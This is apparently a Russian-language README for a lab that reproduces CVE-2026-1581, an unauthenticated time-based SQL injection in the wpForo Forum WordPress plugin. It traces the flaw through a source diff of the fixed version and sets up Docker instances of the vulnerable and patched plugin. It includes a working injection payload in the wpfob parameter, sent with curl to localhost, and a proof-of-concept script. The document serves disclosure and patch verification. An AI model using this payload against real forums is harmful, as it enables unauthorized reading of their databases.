
Воспроизводит CVE-2026-1581 — неаутентифицированную time-based SQL-инъекцию в wpForo Forum <=2.4.14, с Docker-лабораторией и PoC для демонстрации уязвимости и проверки патча.
| Поле | Детали |
|---|
| ID CVE | CVE-2026-1581 |
| Плагин | wpForo Forum |
| Затронутые версии | <= 2.4.14 |
| Исправленная версия | 2.4.15 |
| Тип уязвимости | Неаутентифицированная Time-Based SQL-инъекция (ORDER BY) |
| Оценка CVSS | 7.5 (Высокая) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 — это неаутентифицированная Time-Based SQL-инъекция в плагине wpForo Forum (<= 2.4.14). Параметр wpfob используется в выражении ORDER BY с применением только текстовой санитизации, что позволяет неаутентифицированному злоумышленнику внедрять произвольные SQL-выражения и читать данные из базы данных.
Вендор исправил эту проблему в версии 2.4.15, заменив sanitize_text_field() на wpforo_sanitize_orderby(), который применяет контекстно-зависимый белый список.
Запускать только на localhost + Docker Compose.
PoC представляет собой time-based доказательство задержки для демонстрации разницы между уязвимой и исправленной версиями.
Не использовать против любых систем без явного разрешения.
Доказательство версии: Страница /community/ загружает /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (уязвимая) против 2.4.15 (исправленная).
Доказательство кода: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
Доказательство поведения: wpfob=modified,(SELECT SLEEP(5)) вызывает задержку ~5 секунд на уязвимой версии; исправленная версия отвечает почти без задержки.
В CVE-бюллетене указано только, что это time-based SQL-инъекция через параметр wpfob, исправленная в версии 2.4.15. На момент анализа публичного PoC не было.
Поэтому этот отчёт был построен на основе сравнения исходного кода между версиями 2.4.14 и 2.4.15, отслеживания пути параметра от HTTP-ввода через санитизацию до точки его использования при формировании SQL-запроса — чтобы понять первопричину и воспроизвести проблему.

wpfobНачав с поиска wpfob в исходном коде, было обнаружено, что страница Recent берёт значение напрямую из параметра GET и присваивает его аргументу orderby.

Уязвимая версия (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Исправленная версия (2.4.15) — тот же файл, санитизатор заменён:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
Почему именно
recent.php? Потому что это доступный маршрут, гдеwpfobнапрямую присваивается$args['orderby'].
ORDER BY ...После установки $args['orderby'] он попадает в конструктор запросов wpForo для формирования выражения ORDER BY.
Конкатенация ORDER BY (уязвимая версия 2.4.14)
classes/Topics.php:

classes/Posts.php:

Пояснение
sanitize_text_field() только удаляет/очищает строку — он не применяет белый список допустимых имён столбцов.orderby конкатенируется напрямую в ORDER BY <orderby>, злоумышленник может внедрять произвольные SQL-выражения в позицию ORDER BY.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()Версия 2.4.15 вводит контекстно-зависимый белый список санитизатора, который возвращает значение по умолчанию, если входные данные отсутствуют в разрешённом списке:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — использует wp-cli для установки WordPress, установки плагина, создания страницы /community/ с шорткодом [wpforo], настройки постоянных ссылок, генерации .htaccess и создания артефактов проверки.Из чтения исходного кода wpfob явно используется на странице recent:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedПеред тестированием должна существовать как минимум 1 тема и 1 сообщение.
ORDER BY, и задержка не наблюдается — ложный отрицательный результат.Требуется как минимум 1 тема и 1 сообщение.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
Ожидаемый результат
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ базовое время (без задержки)
8081 (уязвимая), 8082 (исправленная)docker-compose.ymlscripts/seed-wp.shИз папки проекта:
docker compose up -d
Убедитесь, что оба экземпляра доступны:
http://localhost:8081/community/http://localhost:8082/community/И страница recent:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

Требуется для воспроизводимости и предотвращения ложных отрицательных результатов.
# 1) Проверка количества (уязвимая)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) Вставка 1 темы и 1 сообщения (уязвимая)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
Для исправленного экземпляра замените seed_vuln на seed_patched.
Рекомендуется использовать виртуальное окружение:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# уязвимая
python3 poc.py http://localhost:8081
# исправленная
python3 poc.py http://localhost:8082

docker compose down -v